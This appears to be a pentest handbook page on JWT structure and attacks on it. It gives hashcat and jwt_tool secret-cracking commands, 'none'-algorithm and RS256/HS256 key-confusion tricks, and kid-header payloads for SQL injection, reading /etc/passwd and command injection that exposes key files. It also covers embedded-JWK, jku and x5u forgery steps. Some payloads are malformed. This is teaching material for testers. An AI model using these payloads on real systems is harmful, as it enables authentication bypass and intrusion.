JWT and it's bypass¶

JWT Handbook¶

JWT Handbook

Background¶

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.\ Although JWTs can be encrypted to also provide secrecy between parties, we will focus on signed tokens. Signed tokens can verify the integrity of the claims contained within it, while encrypted tokens hide those claims from other parties. When tokens are signed using public/private key pairs, the signature also certifies that only the party holding the private key is the one that signed it.

Structure¶

In its compact form, JSON Web Tokens consist of three parts separated by dots (.), which are:

Header
Payload
Signature

Therefore, a JWT typically looks like the following.

asd.xyz.qwe

Let's break down the different parts.

The header typically consists of two parts: the type of the token, which is JWT, and the signing algorithm being used, such as HMAC SHA256 or RSA.

For example:

{
  "alg": "HS256",
  "typ": "JWT"
}

Then, this JSON is Base64Url encoded to form the first part of the JWT.

Payload¶

The second part of the token is the payload, which contains the claims. Claims are statements about an entity (typically, the user) and additional data.

{
  "sub": "1337",
  "name": "unstable",
  "admin": false
}

Signature¶

To create the signature part you have to take the encoded header, the encoded payload, a secret, the algorithm specified in the header, and sign that.

For example, if you want to use the HMAC SHA256 algorithm, the signature will be created in the following way:

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

The signature is used to verify the message wasn't changed along the way, and, in the case of tokens signed with a private key, it can also verify that the sender of the JWT is who it says it is.\ The signature is then base64 encoded.

To familiarise yourself with JWT you can use the decoder at https://jwt.io/

JWT Signing Algorithms¶

The most common algorithms for signing JWTs are:

HMAC + SHA256 (HS256)
RSASSA-PKCS1-v1_5 + SHA256 (RS256)
ECDSA + P-256 + SHA256 ( ES256)

Vulnerabilities¶

Signature validation¶

The first easiest thing you can check is whether you can tamper with the payload by keeping the signature as it is.

Cracking the HMAC secret¶

As secure as HS256 is, especially when implemented the right way, brute-forcing a JSON web token signed with small and medium-sized shared secrets using HS256 is still very possible.\ If you are able to crack/find the HMAC secret you can do anything with the token. This could be a critical vulnerability.\ There are two ways to perform this attack

Dictionary attack
Bruteforce attack

Dictionary attack¶

hashcat -a 0 -m 16500 jwt.txt rockyou.txt
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d rockyou.txt <JWT token>

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w rockyou.txt

Dictionary attack with a common default password list
Dictionary attack with a ‘leaked passwords’ wordlist
Targeted Dictionary attack with words scraped from the target website (and related wiki pages?)

Bruteforce attack¶

hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

Brute force attack using a narrow focus (e.g. ?u?l?l?l?l?l?l?l?l --incremental)
Long-running Brute force attack using a broad focus (e.g. ?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a -i --increment-min=6)

None matters¶

There was a CVE assigned (CVE-2015-9235) for this attack. developers tend to use "none" algorithm for testing purpose and sometimes keeps as it is! To automate this type of attack we strongly recommend using Burpsuite's extension "JSON Web Tokens". This extension comes with four different types of "none" keywords you can try!\ To do this process manually, head to jwt.io and remove a signature from the JWT token then change "algorithm to none".

Expiration¶

Sometimes it is worth checking whether the JWT token expires or not. You can make a request with the JWT token after log out to the endpoint. Sometimes the JWT token never expires. We have mentioned the ways to steal the JWT token below on this page. Be sure to retest this same token in ~24 hours and report it if it never expires.

RSA Key Confusion¶

The JWT spec also defines a number of asymmetric signing algorithms (based on RSA and ECDSA). With these algorithms, tokens are created and signed using a private key but verified using a corresponding public key. This is pretty neat: if you publish the public key but keep the private key to yourself, only you can sign tokens, but anyone can check if a given token is correctly signed.

Unfortunately, an attacker can abuse this. If a server is expecting a token signed with RSA, but actually receives a token signed with HMAC, it will think the public key is actually an HMAC secret key.

If you change the algorithm from RS256 to HS256, the back-end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature. Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also).

You can also use jwt_tool to perform this attack.

python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem

Kid issues¶

SQL injection¶

When you decode the JWT, you will see a parameter called KID, or different JWT Claims which retrieves a key file from the file system. You can try to exploit them if they aren’t properly sanitized.

{
“alg” : “HS256”,
“typ” : “JWT”,
“kid” : “1” // KID is often used to retrieve a key file from the file system
}

Instead of value 1, we can modify it and add our SQLi payload. The final JWT will look something like this:

{
“alg” : “HS256”,
“typ” : “JWT”,
“kid” : “SELECT * FROM users WHERE username = 'admin'--' AND password = ''”
}

LFI¶

If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of. This vulnerability has the same process as the SQLi one, but we use different payload:

../../../../etc/passwd

If KID parameter isn’t properly sanitized, it becomes vulnerable to LFI. We simply add our payload and the final JWT will look something like this,

{
“alg” : “HS256”,
“typ” : “JWT”,
“kid” : “../../../etc/passwd”
}

You can also use jwt_tool to perform this attack and keep the original signature,

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../etc/passwd" -S hs256 -p ""

Command Injection¶

The process is the same as SQLi with KID and Local File Inclusion. When the "kid" parameter contains a path to the file with the key and this path is being used inside an executed command you could be able to obtain RCE and expose the private key with a payload like the following:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

{
“alg” : “HS256”,
“typ” : “JWT”,
“kid” : “1” | whoami;
}

CVE-2018–0114¶

This CVE specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

If the server is vulnerable to the mentioned vulnerability, then a token that contains attacker generated public key and is signed using the corresponding private key generated by the attacker would get accepted by the server.

Example JWT token

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiIzMjQtMjMyMzQzMjQtNTQ0NTM1LTEzMjAyMTQiLCJ1c2UiOiJzaWciLCJuIjoiMDBkNDM3ODY4MTY4MGYxMTkwMzIxNjBlMDFjZTgyMWU2Y2YzZWJmNjc2ZDIxODhmZDRkYmU1ZDQ4MzdhYTYxMmYwMDYzZTYwMmRlOGI3N2I4N2JlMGMzOTlkYzEwZDczM2FlNzlhNzAyYmE3ZDAzOTE3ZDYwMzJkNGQzNWY3ZWEzNDdjMGE3YTAxNDQxNTEzOThkYjEwZWYzNjhiZGUzMjE0ZTIyNWRlNjA2YmIyZWQ2M2Q5ZmQzNDA0YjgwM2I1YTIwNTUwYjlkOWY2Y2QzNWM0ODkwN2ExZmI5ZjJkYjhmNzkzNTY5MmE2YTk5NzUyZGNjYTZlOWI3OTdiZDg2MWMxNmVhODIwYTNmZDYxZGRjY2FmNWI4OGY3NDBjZTNkNjFiNTc3ZTVhMWQ1ZGQ2NmYwNjQ5NWNmY2Q2NzAzYTA0OWMyMzM4MTMwOWVhMjYyMjllNGE5YzZmNjgyOTcxNDM5OWQwYTM3ODc2NTlkOWQ1ZDM3MGI5NWFlMmQ2NjgxMzYxMGRmMGJmMWM4YjVkNzFhNjc3YTYzMjI2MDIzYTM4OGU0OTFlOGZhOTk2ZGRlNWVhYjY2MGQ3ZGZkYjk5NTMyYmYwMDczYWRlMzE2ODdhYjhlYmJkNWI0MGNjNzQ2MDViN2NkMzU2NzFhNDc5YjUyNjQ0MTg2OGY2NzYyYmM0ZiIsImUiOiIxMDAwMSJ9fQ.eyJpZCI6MiwiaWF0IjoxNTczNTgwOTg2LCJleHAiOjE1NzM2NjczODZ9.xgB2zsknOBbghHwKZZZG9Xi0NJGzaeDj7uxg_Y_QfQwKU2oPHS-XhwfIR3yVuN1fimSfV-tSeEHsaKlTDRY-YBpY8EhHTSLz3-i6iKeUwE0JarMKZOo5hBsm_OKSwPhhr4ilkXRUAXeyOJNHNxcDtGcLsgYWg1MUNI8YXadJz0uh8yc3coAs5lqNfVBG_HjHk4hXAzjzp4s0siZD94GsSkbVqwp0gLlgX-gEeMxJSMCKDrBXrbFJpJOTcKYAuRCe6uHVFvzutpFvwKJ2EXOFZsnWqvegcAaCvN5QCBV2O__cSRkhnT5i7XHJoXeEoApmfvZjqFG91Ve15jA-GGR9Ng

Generate public and private key pairs.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

2. Now create a forged token. if you decode the above JWT token you can see two keys "n" and "e". which can be generated using a public key. To retreive, these values use the following js code.

const NodeRSA = require('node-rsa');
const fs = require('fs');

keyPair = fs.readFileSync("keypair.pem");

const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');

console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

run the above script using node,

3. Now since you have "n" and "e" which you can replace in the above jwt token using jwt.io. and sign the token using the private key supplied by the attacker and would be verified by the server using the embedded public key, which also belongs to the attacker.

jku and x5u¶

jku¶

jku stands for JWK Set URL.\ If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token.

The key used for token verification is extracted from the certificate located at the URI present in the “jku” header parameter.
If the attacker generates a public-private key pair and creates a forged token using the generated private key and replace the “jku” parameter’s value with the URI of this newly generated JWK Set JSON file (hosted on an HTTP server), then essentially the forged token would get accepted by the server.

The attack steps are quite similar to what mentioned above. Once you created a public and private key pair then generate "n" and "e" using the public key. Now create a jwks.json file and update the "n" and "e" values. Now host the "jwks.json" file locally and update the same in jwt token.

x5u¶

The “x5u” (X.509 URL) Header Parameter is a URI that refers to a resource for the X.509 public key certificate or certificate chain corresponding to the key used to digitally sign the JWS (JSON Web Signature). The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain.

The key used for token verification is extracted from the certificate located at the URI present in the “x5u” header parameter.
If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replaces the “x5u” parameter’s value with the URI of this newly generated certificate (hosted on an HTTP server), then essentially the forged token would get accepted by the server.

Create a self-signed certificate,

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt

Now extract the public key from the generated certificate.

openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Now follow the same steps we followed in the earlier attack. Host the attacker.crt locally and change the header value accordingly.

x5c¶

The “x5c” (X.509 certificate chain) Header Parameter contains the X.509 public key certificate or certificate chain corresponding to the key used to digitally sign the JWS (JSON Web Signature).

Example token

eyJ4NXQiOiJPRVU1TjBVd1FUZENORFUzUWpBME5VUXhSakJDTjBOQ016UTBOVUZGTWtVeU4wTXpOalZDUWciLCJ1c2UiOiJzaWciLCJlIjoiTVRBd01ERSIsImt0eSI6IlJTQSIsImFsZyI6IlJTMjU2IiwibiI6Ik1EQmtOR014WkRrNE56ZGxObVppTVRjMU5qVTROemRrTW1FeE5qVTVZV0k0TXpCa056WTFNR1ZqWmpnM01UbGxaR0ZoTWpjelpUSTVNVFEzWlRkbVpHTXlZVGRtTjJZNU1qSmlZVGsyWlRVMVpqazNZbVZpTUdVMFpqUTFZV1psTUdZMU1qWmhZVEUwWlRBNU5XUmlOMlJpTlRFeU5qSmhZbVl5TVRoaFl6azNPVEEwWlRNNVltSTRaR0ZrWm1FNE1XTTJNVFJtWTJOaFpHUTBOMlUxWm1VME1HSTFZakl5TmpWbU9UYzVaR1k0TjJVeFlUTmlOamN5TTJKa01tRXlOREF6TW1VNVptUmlOMll3WmpBNFptWTFNelk1TlRrMVpUSmxaRGhrTVdSak5tRTRNbVk1T0RFMk1ERm1ZekV3Wm1NeE5tVXpNVGt4WVRsaE5tUXhNRGt5T1RGa09URTJabUl3T1dKbFptSXdZbVEyTmpoaVpUZzBOalU0TURRMk56VXhObVkzWkdOaU9EWmxPR0ZsTURZMlltWTNNekl4TmpOalltTXpaRFE1TkdZMk9XRmhaamM0WW1Fek1qYzJaREEzWmpObFl6ZGtNMlUwTTJObFpqSTBORFpqTWpZelpqZGxNVFUyTWpNNE9HUmpNREppT0RrMFl6RmxOVFJsTkRjNU5EUTVObVkxTnpRMFlqWmlPRGxrT0dFM1pqZ3dZV1ZtTkdFMlpHRTRNelUxWkRSa1l6WXpOMlkwTldObU0yTmhPRFZqTlRJelpEUmxNVGhoWW1JM05XWmxZbUpoT1dVM09ERTFOemRpTUdRMFpHVXlPV1l3WWpaalpEUXdaVGRtTURSbE5UQmhaakE0TkRNMlpEbGlNbUUxWldNeFlUQmtaV1F6WTJRMU1XVTJNamMyT0RFMlpUSm1OV1ZpTldZNU9ESTVOVEpqTXpBME5USmxNMk0yT0dZd1lqQTVZV1V6WldGbFlqTm1ZakUxWVRZM01XTTBObU01WkRWaE5HUTJZalJsWm1ZMU9ERmtabVE1T0dJeVptTTVOVE0xWlRWbVpUYzVPVGN3T0dKbE16QXhZbUZrTkROaE5UVTROVFpqTUdSa1lqZzFZemc0WXpJeU5qZGpaVFE0T1RoaFlqY3lPR1EyTmpobVpqTmtNbUptTWprd01UVTJPR0l4TXpNeE1EVXdNbVZsWWpFelpHUmxOemxtTkRsbVpUVXdZemN5TUdVek1XRmxZVE5sTWpRM1ptSTVPV1l5WTJGbFpUaGhZV0prT0RreU5tRmhZVGN3TW1aa1lqSTBOMkV6TjJZM05XTTVaR0ZtT1RNMU5ERTNPR016WVRObE5qaGtZMkptTVRZNE5qazFObU15TWpCbFpUTm1abUV6TkRVNU4yVTRPRFZoTWpkaE5ETmxOVGhqTnpObU5XTXdNR1EyWXpWaVpXUTFORFkyWWpVeFpESTNNVFkzTXpnMk4yWTVZMlZpWkRWa09HWm1abU5rWXpobE5USTNOREk1TW1aa1l6QmhPVE00WkRjd01EZ3pNamxsTVRsaE5HVmtZV0l5WkRnNE1qY3pZekkyWW1KbVpqazJPVEpoTnpOaVpqRTNaRGsyWWpZMk5qVTBOemxpTW1ZelpqY3hPV1ZqT0RCak5UVTVOamN3T0RZM09HSXhaREJrWVRZNFpETmlZamcwTWpFM1lUSTNNekkwWmpFNU0yWmxOVGsyTVRZeFpUY3pPREl5TVRBeFlURTROVGRoTVRjNU5UVTJPV1U1WkRZM01qRTJZVGd3WXpRek1tTXlNamcxWXpoayIsIng1YyI6Ik1JSUdDVENDQS9HZ0F3SUJBZ0lVUi9pWlpDRTNZSXU2TE02UW9HdWZ0cmIvL0Y0d0RRWUpLb1pJaHZjTkFRRUxCUUF3Z1pNeEN6QUpCZ05WQkFZVEFsVlRNUk13RVFZRFZRUUlEQXBEWVd4cFptOXlibWxoTVJJd0VBWURWUVFIREFsVGRXNXVlWFpoYkdVeEVqQVFCZ05WQkFvTUNWZHBkSEpoY0hCbGNqRVBNQTBHQTFVRUN3d0dWMmwwY21Gd01SSXdFQVlEVlFRRERBbDNhWFJ5Y0M1amIyMHhJakFnQmdrcWhraUc5dzBCQ1FFV0UyRmtiV2x1UUd4dlkyRnNhRzl6ZEM1amIyMHdIaGNOTVRreE1USXdNRFV4T1RNNFdoY05NakF4TVRFNU1EVXhPVE00V2pDQmt6RUxNQWtHQTFVRUJoTUNWVk14RXpBUkJnTlZCQWdNQ2tOaGJHbG1iM0p1YVdFeEVqQVFCZ05WQkFjTUNWTjFibTU1ZG1Gc1pURVNNQkFHQTFVRUNnd0pWMmwwY21Gd2NHVnlNUTh3RFFZRFZRUUxEQVpYYVhSeVlYQXhFakFRQmdOVkJBTU1DWGRwZEhKd0xtTnZiVEVpTUNBR0NTcUdTSWIzRFFFSkFSWVRZV1J0YVc1QWJHOWpZV3hvYjNOMExtTnZiVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFOVEIyWWQrYjdGMVpZZDlLaFpacTRNTmRsRHMrSEdlMnFKejRwRkg1LzNDcC9mNUlycVc1VitYdnJEazlGcitEMUpxb1U0SlhiZmJVU1lxdnlHS3lYa0U0NXU0MnQrb0hHRlB6SzNVZmwva0Mxc2laZmw1MzRmaG83WnlPOUtpUURMcC9iZnc4SS8xTnBXVjR1Mk5IY2FvTDVnV0Fmd1EvQmJqR1JxYWJSQ1NrZGtXK3dtKyt3dldhTDZFWllCR2RSYjMzTGh1aXVCbXYzTWhZOHZEMUpUMm1xOTR1akoyMEg4K3g5UGtQTzhrUnNKajkrRldJNGpjQXJpVXdlVk9SNVJKYjFkRXRyaWRpbitBcnZTbTJvTlYxTnhqZjBYUFBLaGNVajFPR0t1M1grdTZubmdWZDdEVTNpbnd0czFBNS9CT1VLOElRMjJiS2w3Qm9ON1R6VkhtSjJnVzR2WHJYNWdwVXNNRVV1UEdqd3NKcmo2dXMvc1ZwbkhFYkoxYVRXdE8vMWdkL1ppeS9KVTE1ZjU1bHdpK01CdXRRNlZZVnNEZHVGeUl3aVo4NUltS3R5aldhUDg5Sy9LUUZXaXhNeEJRTHVzVDNlZWZTZjVReHlEakd1bytKSCs1bnl5dTZLcTlpU2FxcHdMOXNrZWpmM1hKMnZrMVFYakRvK2FOeS9Gb2FWYkNJTzQvK2pSWmZvaGFKNlErV01jL1hBRFd4YjdWUm10UjBuRm5PR2Y1enIxZGovL055T1VuUXBMOXdLazQxd0NES2VHYVR0cXkySUp6d211LytXa3FjNzhYMld0bVpVZWJMejl4bnNnTVZaWndobml4ME5wbzA3dUVJWG9uTWs4WlArV1dGaDV6Z2lFQm9ZVjZGNVZXbnAxbklXcUF4RExDS0Z5TkFnTUJBQUdqVXpCUk1CMEdBMVVkRGdRV0JCUnJ4ZS9XWU81SWYyQnViYmwreVlYc0lTUXJMakFmQmdOVkhTTUVHREFXZ0JScnhlL1dZTzVJZjJCdWJibCt5WVhzSVNRckxqQVBCZ05WSFJNQkFmOEVCVEFEQVFIL01BMEdDU3FHU0liM0RRRUJDd1VBQTRJQ0FRQTEyOFhRZ05oQXgyUjg0STFEYVcvMldFVTNqSjZpQ3FNUXQ1YUNjMStXSkFQVUJXYlNaYzhSaFo2bUhCblRKN1NndXBjTVJtYVppZUlIcTZnN0VDU1FwR1p6Y3J0cEJsRGNnc1lKd0RpUm92aEltYXpZMGo4bm96ZHFBSkhMQmF0RFJyRFEzbHZGU29rV1F6eFNKOFpLenRIVzZWS3FiampaOFhTZm0zamJmOWMzVXlXcFVLVEgvV0RHeE15VGVIN0V6N1FvbDNPZjFqbkFtblltZi9XZS9tcmdSYjRGTVY4a3gvbWV5R3lIWmpSdmJlVHRDeWxmeHlmNDBCbkk0cVkwRytXVnBVZ0JDQlFBNUx2RGZIWUJRNVVhd0tlZCtRdmRrVERNWWJxaE9PaE1aS0tWS0ZML0k1dnBncEFUVk8zQWgvKzM3T1RMQ1A1THlYL1VzbXc2dCs2T2w2Z0s2SEJLUVNEczlaT3VPaW40THFhZ3Ria3pKVjY0U0FpbHpERHBZYXh0d2JuZnVIZVNSd205dVBwZW9MRGF6Q0N6V0dzL1lPYzBWdUxqaXZUcm5RU2JiSGE0S0lGeWtQb2JJbXJ4enVQR2orazVoelE0Z3ZBZjJESkJnQkRONjJ1WWVYMXZkWGg3TnVJM1I5RHg3bWFnb3paakhreHZoK0VMbXVUWlpXYkM2QjZiQWxEcU1qNmJJc241Q3RiSFdteXlMZTk2allxRmJaY1U4L0tMWW54RktOZjlIcEdTWnBvYTc1dnpPK0psTDJkYk9WNjNLR1pTYllyWHhoRkwweVgzWnhBYXBwemoxeVFTeVRPNCtWL1JhZE11cnk5ckMySHVzZkl4MXp2TDdKU0pWcFlUSG1MT2FrcXFkZmRVeGFRYWhEdkVvMytKdzY4eHFRPT0iLCJ0eXAiOiJKV1QiLCJraWQiOiJPRVU1TjBVd1FUZENORFUzUWpBME5VUXhSakJDTjBOQ016UTBOVUZGTWtVeU4wTXpOalZDUWcifQ.eyJpYXQiOjE1NzQ2ODIzNjMsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0NzY4NzYzfQ.XgPER68yo0T9d5mLOn7ewrPHPRBLeBQHgtyPIHeL6Ph19-mPbhIaHc_XUl3zIzrFFWn4nNoZAnEMwv6OI1IdLsBDdDRWL6WxYdYjp4r17mmV_Ni8cyB5snNnBE8GG6N_E8i8AUiCWNkwsr8YjMujqjvwb7le81Z2Vgb8Nw-LgDLvYUC9Frp3GxvMmE1BKsysz4jv9KLVf04KuNnPkA5BKgJgwF6V-iKHVJAiR6vrRqfzDR_AD5gVkHTp1eTzkgImomo-Z7bZ2THVAPtu8sVyNGyGcGpdBQbFsN2ZxLFgCYUaO-Vuf7bJd6SXJzjRqXDBAz9XX6_pYbBSjMq5pSfIPMZfCUHeyOPv38saEbOBEApMw5SBNISrGC7trjBewWz6yYAPebDSTmBObe-BKowEjSK_mKCevKk1K3sYNzw0E-zatPR30y5PsVIqaqtAdLvF5app55aZSJH9n8dsx3tSZEswuiWShABnHwepyUBUAyPyTIs9BSfupP6qyFIJje8TUSoSMXofXuSCjaP4J7lLyoDO9m1Ezyi3DrURDUFZb8CjUDEDVi-Ct58K-MK7r8_bk71tqHN3E4FhGXX7AwGUztZIQg9UD9gwLv9e8hUT0JCS3eO4xARVbyjoVpgCw2lkc3FarsUm0hIz9KynxyFEGyp92VLWcpxec0nXPGeYMBo

After decoding you can see various fields n, e, x5c, x5t, kid. Also, notice that kid value is equal to x5t value.

The “x5c” (X.509 certificate chain) Header Parameter contains the X.509 public key certificate or certificate chain corresponding to the key used to digitally sign the JWS.
The “x5t” (x.509 certificate thumbprint) header parameter provides a base64url encoded SHA-256 thumbprint (i.e., digest) of the DER encoding of an X.509 certificate that can be used to match a certificate. So, it is analogous to a key identifier or the kid claim!!